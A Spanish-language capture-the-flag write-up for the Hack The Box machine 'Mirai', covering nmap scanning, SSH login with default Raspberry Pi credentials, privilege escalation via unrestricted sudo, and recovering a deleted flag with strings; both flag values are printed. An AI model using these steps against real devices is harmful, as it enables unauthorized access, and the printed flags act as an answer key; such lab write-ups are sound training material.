Mirai [EASY🟢]

Dificultad: Fácil

Mirai

1- Reconocimiento y escaneo

1.1 Ping

ping -c 1 10.10.10.48

┌──(root㉿kali)-[/home/t0mz/ctf/mirai]
└─# ping -c 1 10.10.10.48    
PING 10.10.10.48 (10.10.10.48) 56(84) bytes of data.
64 bytes from 10.10.10.48: icmp_seq=1 ttl=63 time=178 ms

--- 10.10.10.48 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 177.520/177.520/177.520/0.000 ms

Podemos notar que se trata de una maquina Linux, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

1.2 Nmap

nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.10.48 -oN escaneo.txt

┌──(root㉿kali)-[/home/t0mz/ctf/mirai]
└─# nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.10.48 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 22:09 -03
Nmap scan report for 10.10.10.48
Host is up (0.18s latency).
Not shown: 65526 closed tcp ports (reset), 3 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey: 
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp    open  domain  dnsmasq 2.76
| dns-nsid: 
|_  bind.version: dnsmasq-2.76
80/tcp    open  http    lighttpd 1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: lighttpd/1.4.35
1761/tcp  open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open  http    Plex Media Server httpd
|_http-favicon: Plex
|_http-title: Unauthorized
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
32469/tcp open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.62 seconds

El puerto 80(lighthttpd 1.4.35) correspondiente a un servidor web y el puerto 22(OpenSSH 6.7p1) correspondiente a un servidor SSH para control remoto mediante linea de comandos, estos son los puertos mas relevantes que se encuentran dentro de la maquina

1.3 whatweb

┌──(root㉿kali)-[/home/t0mz/ctf/mirai]
└─# whatweb 10.10.10.48                                                                                              
http://10.10.10.48 [404 Not Found] Country[RESERVED][ZZ], HTTPServer[lighttpd/1.4.35], IP[10.10.10.48], UncommonHeaders[x-pi-hole], lighttpd[1.4.35]

lighthttpd 1.4.35
UncommonHeaders [x-pi-hola]

Luego de investigar por internet, me di cuenta que debido a que en este sitio web corre "x-pi-hole" o "Pi Hole", estamos ante una Raspberry Pi

2- Explotación

2.1 Default user/password SSH Raspberry Pi

Las credenciales por default de SSH de una Raspberry Pi son:

Usuario: pi
Contraseña: raspberry

Vamos a probar conectarnos vía SSH con estas credenciales:

ssh pi@10.10.10.48

┌──(root㉿kali)-[/home/t0mz/ctf/mirai]
└─# ssh pi@10.10.10.48
The authenticity of host '10.10.10.48 (10.10.10.48)' can't be established.
ED25519 key fingerprint is SHA256:TL7joF/Kz3rDLVFgQ1qkyXTnVQBTYrV44Y2oXyjOa60.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.48' (ED25519) to the list of known hosts.
pi@10.10.10.48's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 27 14:47:50 2017 from localhost

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.


SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

pi@raspberrypi:~$ 

Las credenciales son correctas

2.2 Obtención de la flag user

La flag de user se encuentra dentro de la ruta absoluta "/home/pi/Desktop/user.txt", vamos a visualizar la flag:

pi@raspberrypi:~$ cat /home/pi/Desktop/user.txt
ff837707441b257a20e32199d7c8838d

3- Escalado de privilegios

3.1 sudo -l

Siempre que queramos escalar privilegios en una maquina Linux, es necesario verificar que podemos ejecutar con el usuario que obtuvimos, en este caso el usuario "pi", para eso utilizaremos el comando "sudo -l":

pi@raspberrypi:~$ sudo -l
Matching Defaults entries for pi on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pi may run the following commands on localhost:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
pi@raspberrypi:~$

Podemos ejecutar todos los comandos, por lo que si ejecutamos "sudo su" para cambiarnos al usuario root:

pi@raspberrypi:~$ sudo su
root@raspberrypi:/home/pi# 

Ya somos usuarios root

3.2 Obtención de la flag root

En este caso para obtener la flag de root, va a ser un poco diferente, si vamos a "/root/root.txt", veremos lo siguiente:

root@raspberrypi:/home/pi# cat /root/root.txt 
I lost my original root.txt! I think I may have a backup on my USB stick...
root@raspberrypi:/home/pi# 

Nos dice que el usuario ha perdido el archivo "root.txt" pero que tiene un backup del mismo dentro del USB, asi que vamos a dirigirnos al directorio "/media":

root@raspberrypi:/home/pi# cd /media
root@raspberrypi:/media# ls
usbstick
root@raspberrypi:/media# 

Entramos dentro de "usbstick":

root@raspberrypi:/media# cd usbstick/
root@raspberrypi:/media/usbstick# ls
damnit.txt  lost+found
root@raspberrypi:/media/usbstick# cat damnit.txt 
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

-James
root@raspberrypi:/media/usbstick# 

Tenemos un archivo llamado "damnit.txt" que nos dice que accidentalmente James borro los archivos

Por lo que si realizamos un "df -lh" para que nos muestre todos las unidades que tenemos conectadas a la Raspberry Pi:

root@raspberrypi:/media/usbstick# df -lh
Filesystem      Size  Used Avail Use% Mounted on
aufs            8.5G  2.8G  5.3G  34% /
tmpfs           100M  4.8M   96M   5% /run
/dev/sda1       1.3G  1.3G     0 100% /lib/live/mount/persistence/sda1
/dev/loop0      1.3G  1.3G     0 100% /lib/live/mount/rootfs/filesystem.squashfs
tmpfs           250M     0  250M   0% /lib/live/mount/overlay
/dev/sda2       8.5G  2.8G  5.3G  34% /lib/live/mount/persistence/sda2
devtmpfs         10M     0   10M   0% /dev
tmpfs           250M   76K  250M   1% /dev/shm
tmpfs           5.0M  4.0K  5.0M   1% /run/lock
tmpfs           250M     0  250M   0% /sys/fs/cgroup
tmpfs           250M  8.0K  250M   1% /tmp
/dev/sdb        8.7M   93K  7.9M   2% /media/usbstick
tmpfs            50M     0   50M   0% /run/user/999
tmpfs            50M  4.0K   50M   1% /run/user/1000
root@raspberrypi:/media/usbstick# 

Vemos que la unidad "/media/usbstick" se encuentra montado dentro de "/dev/sdb", por lo que si realizamos un "strings" dentro de la unidad "/dev/sdb" para inspeccionar binariamente:

root@raspberrypi:/media/usbstick# strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3e483143ff12ec505d026fa13e020b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
root@raspberrypi:/media/usbstick# 

Podemos ver la flag:

3d3e483143ff12ec505d026fa13e020b

Con esto, concluimos la maquina "Mirai" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales

https://www.hackthebox.com/achievement/machine/2243466/64www.hackthebox.com